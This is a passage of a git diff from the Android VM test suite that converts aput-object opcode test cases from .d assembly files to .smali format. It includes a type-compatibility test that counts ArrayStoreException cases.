+       aput-object v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.d
deleted file mode 100644
index a11e1ba..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_10.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;ILjava/lang/String;)V
-.limit regs 10
-
-       aput-object v9, v7, v6
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.smali
new file mode 100644
index 0000000..48f874b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_10.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_10.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/String;)V
+.registers 10
+
+       aput-object v9, v7, v6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.d
deleted file mode 100644
index 1b4f7ae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_11.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;ILjava/lang/String;)V
-.limit regs 11
-
-       aput-object v11, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.smali
new file mode 100644
index 0000000..4756062
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_11.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_11.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/String;)V
+.registers 11
+
+       aput-object v11, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.d
deleted file mode 100644
index 35160aa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_12.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;FLjava/lang/String;)V
-.limit regs 11
-
-       aput-object v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.smali
new file mode 100644
index 0000000..0fdd1d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_12.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_12.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;FLjava/lang/String;)V
+.registers 11
+
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.d
deleted file mode 100644
index f9670ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_13.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;ILjava/lang/String;)V
-.limit regs 11
-
-       const v10, 1
-       aput-object v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.smali
new file mode 100644
index 0000000..1b07440
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_13.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_13.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_13;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/String;)V
+.registers 11
+
+       const v10, 1
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.d
deleted file mode 100644
index 4e1cad0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_2.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/Integer;ILjava/lang/Integer;)V
-.limit regs 11
-
-       aput-object v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.smali
new file mode 100644
index 0000000..05aa337
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_2.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/Integer;ILjava/lang/Integer;)V
+.registers 11
+
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SubClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SubClass.smali
new file mode 100644
index 0000000..0f07140
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SubClass.smali
@@ -0,0 +1,27 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/aput_object/d/SubClass;
+.super Ldot/junit/opcodes/aput_object/d/SuperClass;
+.source "TestStubs.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ldot/junit/opcodes/aput_object/d/SuperClass;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperClass.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperClass.smali
new file mode 100644
index 0000000..ea90286
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperClass.smali
@@ -0,0 +1,30 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/aput_object/d/SuperClass;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/aput_object/d/SuperInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperInterface.smali
new file mode 100644
index 0000000..71933a0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperInterface.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class interface abstract Ldot/junit/opcodes/aput_object/d/SuperInterface;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperInterface2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperInterface2.smali
new file mode 100644
index 0000000..f5a486a0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/SuperInterface2.smali
@@ -0,0 +1,17 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/aput_object/d/SuperInterface2;
+.super Ljava/lang/Object;
+.source "TestStubs.java"
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/T_aput_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/T_aput_object_3.smali
new file mode 100644
index 0000000..58d26bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_3.smalis/T_aput_object_3.smali
@@ -0,0 +1,117 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/aput_object/d/T_aput_object_3;
+.super Ljava/lang/Object;
+.source "T_aput_object_3.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 32
+
+    const v1, 0x0
+
+    const v0, 0x1
+
+# v2 = SubClass[]
+    new-array v2, v0, [Ldot/junit/opcodes/aput_object/d/SubClass;
+
+# v3 =  SuperClass[]
+    new-array v3, v0, [Ldot/junit/opcodes/aput_object/d/SuperClass;
+
+# v4 =     SubClass
+    new-instance v4, Ldot/junit/opcodes/aput_object/d/SubClass;
+
+    invoke-direct {v4}, Ldot/junit/opcodes/aput_object/d/SubClass;-><init>()V
+
+# v5 =     SuperClass
+    new-instance v5, Ldot/junit/opcodes/aput_object/d/SuperClass;
+
+    invoke-direct {v5}, Ldot/junit/opcodes/aput_object/d/SuperClass;-><init>()V
+
+# v6 = SuperInterface[]
+    new-array v6, v0, [Ldot/junit/opcodes/aput_object/d/SuperInterface;
+
+# v7 =     Object[]
+    new-array v7, v0, [Ljava/lang/Object;
+
+# v8 = SuperInterface2[]
+    new-array v8, v0, [Ldot/junit/opcodes/aput_object/d/SuperInterface2;
+
+    const/4 v0, 0x0
+
+# (SubClass -> SuperClass[])
+    aput-object v4, v3, v0
+
+# (SubClass -> SuperInterface[])
+    aput-object v4, v6, v0
+
+# (SubClass -> Object[])
+    aput-object v4, v7, v0
+
+    :try_start_21
+# !(SuperClass -> SubClass[])
+    aput-object v5, v2, v0
+    :try_end_23
+    .catch Ljava/lang/ArrayStoreException; {:try_start_21 .. :try_end_23} :catch_24
+
+    goto :goto_27
+
+    :catch_24
+    add-int/lit8 v1, v1, 0x1
+
+    goto :goto_27
+
+    :goto_27
+    :try_start_27
+# !(SuperClass -> SuperInterface2[])
+    aput-object v5, v8, v0
+    :try_end_29
+    .catch Ljava/lang/ArrayStoreException; {:try_start_27 .. :try_end_29} :catch_2a
+
+    goto :goto_2d
+
+    :catch_2a
+    add-int/lit8 v1, v1, 0x1
+
+    goto :goto_2d
+
+    :goto_2d
+    :try_start_2d
+# !(SubClass[] -> SuperInterface[])
+    aput-object v2, v6, v0
+    :try_end_2f
+    .catch Ljava/lang/ArrayStoreException; {:try_start_2d .. :try_end_2f} :catch_30
+
+    goto :goto_33
+
+    :catch_30
+    add-int/lit8 v1, v1, 0x1
+
+    goto :goto_33
+
+    :goto_33
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.d
deleted file mode 100644
index f79b817..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_4.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;ILjava/lang/Object;)V
-.limit regs 11
-       aput-object v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.smali
new file mode 100644
index 0000000..10fd71b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_4.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_4.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;ILjava/lang/Object;)V
+.registers 11
+       aput-object v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.d
deleted file mode 100644
index 441ac56..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_5.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;DLjava/lang/String;)V
-.limit regs 11
-
-       aput-object v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.smali
new file mode 100644
index 0000000..e44ac6a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_5.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;DLjava/lang/String;)V
+.registers 11
+
+       aput-object v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.d
deleted file mode 100644
index 5786bbb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_6.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([Ljava/lang/String;IJ)V
-.limit regs 11
-
-       aput-object v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.smali
new file mode 100644
index 0000000..3bb0b53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_object_6.java"
+.class  public Ldot/junit/opcodes/aput_object/d/T_aput_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;IJ)V
+.registers 11
+
+       aput-object v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.d
deleted file mode 100644
index dfdc953..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_object_7.java
-.class public dot.junit.opcodes.aput_object.d.T_aput_object_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;ILjava/lang/String;)V
-.limit regs 11
-
-       aput-object v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.smali
new file mode 100644
index 0000000..68f7198
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_object/d/T_aput_object_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
